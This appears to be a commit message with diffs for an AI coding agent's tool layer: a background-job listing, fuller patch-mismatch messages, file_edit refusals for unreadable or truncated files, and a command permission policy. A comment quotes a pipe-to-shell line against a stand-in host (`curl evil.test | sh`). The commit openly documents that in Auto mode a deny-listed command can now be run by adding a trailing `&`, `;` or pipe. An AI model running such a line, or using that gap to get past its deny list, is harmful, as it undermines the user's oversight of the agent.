A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/services/agent/jobs.py

@@ -42,6 +42,9 @@ import re
 import time
 import uuid
 from dataclasses import dataclass, field
+from typing import Any
+
+from sqlalchemy import select
 
 from lembas.services.agent.base import ExecError, ExecRequest, clean_output
 
@@ -350,6 +353,86 @@ def valid_id(job_id: str) -> bool:
     return bool(_ID.match(job_id or ""))
 
 
+@dataclass(frozen=True)
+class JobView:
+    """One job as a person sees it, rather than as the watcher tracks it.
+
+    Two sources, because neither is complete on its own. The `agent_jobs` row is
+    what survives a restart and carries wall-clock times; `JobState` is what this
+    process knows now, and it exists for a job whose row could not be written --
+    `_persist_row` is best-effort by design, so a job with no row is still a job
+    that is running.
+
+    Times are wall clock, from the row. `JobState.started_at` is
+    `time.monotonic()`, which is right for measuring an interval inside one
+    process and meaningless across a restart: `rehydrate` builds a fresh
+    `JobState` whose clock starts at nought, so a job that had been running for
+    three hours would report having started a moment ago.
+    """
+
+    id: str
+    command: str
+    status: str
+    exit_status: int | None = None
+    started_at: Any = None
+    finished_at: Any = None
+
+    @property
+    def running(self) -> bool:
+        return self.status == "running"
+
+
+def listing(db, chat_id: str) -> list[JobView]:
+    """Every job this chat has, newest first.
+
+    Live state wins over the stored row where they disagree. They should not --
+    `_record` writes the row as it updates the state -- but the row write is the
+    half allowed to fail, so preferring the fresher of the two is what keeps a
+    finished job from being shown as running for ever.
+    """
+    from lembas.db.models import Job
+
+    live = {job.id: job for job in for_chat(chat_id)}
+    views: list[JobView] = []
+    seen: set[str] = set()
+
+    rows = db.scalars(
+        select(Job).where(Job.chat_id == chat_id).order_by(Job.created_at.desc())
+    )
+    for row in rows:
+        state = live.get(row.id)
+        seen.add(row.id)
+        views.append(
+            JobView(
+                id=row.id,
+                command=row.command or "",
+                status=state.status if state is not None else row.status,
+                exit_status=state.exit_status if state is not None else row.exit_status,
+                started_at=row.created_at,
+                finished_at=row.finished_at,
+            )
+        )
+
+    # A job whose row never got written. It has no start time to show, which is
+    # honest: nothing recorded one.
+    for job in live.values():
+        if job.id not in seen:
+            views.insert(
+                0,
+                JobView(
+                    id=job.id,
+                    command=job.command,
+                    status=job.status,
+                    exit_status=job.exit_status,
+                ),
+            )
+    return views
+
+
+def running_count(db, chat_id: str) -> int:
+    return sum(1 for view in listing(db, chat_id) if view.running)
+
+
 def _record(job_id: str, status: str, exit_status: int | None) -> None:
     job = _JOBS.get(job_id)
     if job is None or job.status != "running":

src/lembas/services/agent/patch.py

@@ -243,18 +243,45 @@ def _mismatch(number: int, hunk: Hunk, lines: list[str], hint: int, why: str) ->
         )
 
     expected = next((line[1:] for line in hunk.lines if line[:1] in (" ", "-")), "")
-    found = lines[hint] if 0 <= hint < len(lines) else "(past the end of the file)"
     return PatchError(
         f"Hunk {number} did not apply. It expects line {hint + 1} to be\n"
         f"      {expected}\n"
         f"but the file has\n"
-        f"      {found}\n"
+        f"{_around(lines, hint)}\n"
         f"and those lines are nowhere else nearby either. Nothing was written. "
-        f"Read the file again and send a patch that matches it.",
+        f"Send a patch whose context matches what is printed above.",
         hunk=number,
     )
 
 
+# How many lines either side of the hinted position to print back. Three, which
+# is what a patch carries as context, so a model can read its next attempt
+# straight off the message.
+MISMATCH_WINDOW = 3
+
+
+def _around(lines: list[str], hint: int) -> str:
+    """The file as it actually is, around where the hunk expected to land.
+
+    One line was not enough. A model whose line numbers are two out reads "the
+    file has X", cannot see where X sits relative to what it wanted, and sends
+    the identical patch again -- which is most of the retry loop this tool
+    produces in practice. Numbered, because the numbers are what was wrong.
+    """
+    if not lines:
+        return "      (the file is empty)"
+    if hint >= len(lines):
+        start = max(0, len(lines) - MISMATCH_WINDOW)
+        shown = [f"  {n + 1:>5}  {lines[n]}" for n in range(start, len(lines))]
+        return "\n".join([*shown, f"      (the file ends at line {len(lines)})"])
+
+    start = max(0, hint - MISMATCH_WINDOW)
+    end = min(len(lines), hint + MISMATCH_WINDOW + 1)
+    return "\n".join(
+        f"{'->' if n == hint else '  '} {n + 1:>5}  {lines[n]}" for n in range(start, end)
+    )
+
+
 def render(before: str, after: str, path: str, *, max_lines: int = 200) -> str:
     """A unified diff of one change, for the transcript.
 

src/lembas/services/agent/policy.py

@@ -88,13 +88,27 @@ POLICY: dict[str, dict[str, str]] = {
 
 # A shell metacharacter makes a command line unmatchable, so no pattern may be
 # applied to it. Without this, `git *` in an allow list also matches
-# `git status; curl evil.test | sh`, which is the whole ballgame.
+# `git status; curl evil.test | sh`, which is the whole ballgame. That half is
+# absolute and is what this constant exists for.
 #
-# The original reasoning stopped there, arguing a deny list needed no such care
-# because "failing open returns you to the mode". That is true of Manual, Edit
-# and Plan, where the mode is ASK -- and false of Auto, where it is ALLOW. So
-# `shutdown -h now` asked and `shutdown -h now &` ran, and one character was the
-# whole of the difference. See `decide`.
+# The deny list is the other half, and it has been decided both ways. There was
+# once a rule that an unmatchable line ASKed whenever a deny list existed at
+# all, on the grounds that `shutdown -h now` asked while `shutdown -h now &`
+# ran. It is gone: the shipped deny list is non-empty, so that rule made *every*
+# compound command ask in Auto -- `cd build && make`, `pytest | tail`, anything
+# with a pipe -- and a mode whose whole purpose is not asking asked about most
+# real commands. It was not a security control anybody experienced as one; it
+# was Auto appearing not to work.
+#
+# So an unmatchable line now falls through to the mode, and in Auto the mode is
+# ALLOW. What that gives up, plainly: a deny pattern can be walked past with a
+# trailing `&`, a `;` or a pipe. Auto is the only mode where this is reachable,
+# because Manual, Edit and Plan all ASK on RISK_EXECUTE regardless. The allow
+# list is untouched by the change and still cannot be matched at all.
+#
+# The upgrade that would restore both properties is to split a composed line on
+# these metacharacters and check every segment against the deny list only. It is
+# confined to `decide` and is worth doing; it is not done here.
 _UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
 
 
@@ -175,13 +189,15 @@ def decide(
 
     1. A deny wins before everything, **including Auto**. A deny list that Auto
        ignores is not a deny list, it is a suggestion.
-    2. A command line nobody can match is not a command line the deny list can
-       clear. See below.
-    3. `ask` never resolves to allow. `ask_user` asks in every mode; that is
+    2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
        what the tool is for, and a mode that skipped it would answer the
        model's question on the reader's behalf.
-    4. An allow-list hit runs it.
-    5. Otherwise the table.
+    3. An allow-list hit runs it.
+    4. Otherwise the table.
+
+    A command line carrying a shell metacharacter matches neither list, so it
+    reaches the table and Auto runs it. See the note above `_UNSAFE` for what
+    that trades away and why.
 
     An unrecognised mode is treated as Manual, not Auto: a row that predates a
     rename has to fail towards asking.
@@ -192,21 +208,6 @@ def decide(
     if hit:
         return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")
 
-    # Unmatchable *and* somebody has said what to always ask about. Falling
-    # through here is what let `shutdown -h now &` run in Auto while
-    # `shutdown -h now` asked: `subject` returns None for anything containing a
-    # metacharacter, `_matches` returns "" for None, and Auto's row is ALLOW.
-    #
-    # Only when there is a deny list at all. Making every compound command ask
-    # regardless would take `cd build && make` -- which is most real commands --
-    # away from the mode whose whole purpose is not asking.
-    if candidate is None and deny:
-        return Decision(
-            ASK,
-            "This command line runs more than one thing, so it cannot be "
-            "checked against the list of commands to always ask about.",
-        )
-
     if risk == RISK_ASK:
         return Decision(ASK, "")
 

src/lembas/services/agent/tools.py

@@ -511,7 +511,36 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
             _event("file_edit", agent, path, status="error", error="No patch."),
         )
 
-    before, diffable = await _current(agent, path)
+    # Read here rather than through `_current`, which answers a different
+    # question. `_current` exists for `file_write`, where a file that cannot be
+    # read is a file about to be created and "" is the honest answer. Applying a
+    # patch to that "" instead reported a context mismatch against
+    # "(past the end of the file)" -- a model told the file is empty when it is
+    # in fact unreadable retries the same patch, then rewrites the file whole,
+    # which is how an unreadable file becomes a lost one.
+    try:
+        before = await agent.executor().read_file(path, max_bytes=agent.max_output)
+    except ExecError as exc:
+        return ToolOutcome(
+            f"{exc.message} Nothing was written.",
+            _event("file_edit", agent, path, status="error", error=exc.message),
+        )
+
+    # And a file too big to read whole may not be patched at all. `read_file`
+    # truncates at the ceiling, so `after` would be the beginning of the file
+    # with the patch applied -- and `write_file` replaces, so writing it back is
+    # how the rest of the file is deleted. Silently, and reported as a success
+    # with a byte count. This is the same rule Canvas follows for the same
+    # reason: a truncated read opens read-only.
+    if len(before) >= agent.max_output:
+        return ToolOutcome(
+            f"{path} is too large to patch: only the first {agent.max_output} bytes "
+            f"can be read, and writing back what was read would delete the rest. "
+            f"Nothing was written. Change it with a command instead — sed, or a "
+            f"short script.",
+            _event("file_edit", agent, path, status="error", error="Too large to patch."),
+        )
+
     try:
         after = patch.apply(before, patch.parse(raw))
     except patch.PatchError as exc:
@@ -551,8 +580,10 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
         text=f"{written} bytes",
         canvas=_canvas(agent, path),
     )
-    if diffable:
-        event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
+    # Always diffable here: an unreadable original and a truncated one have both
+    # already been refused above, which is the whole difference between this and
+    # `file_write`'s use of `_current`.
+    event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
 
     return ToolOutcome(f"Updated {path} ({written} bytes).", event)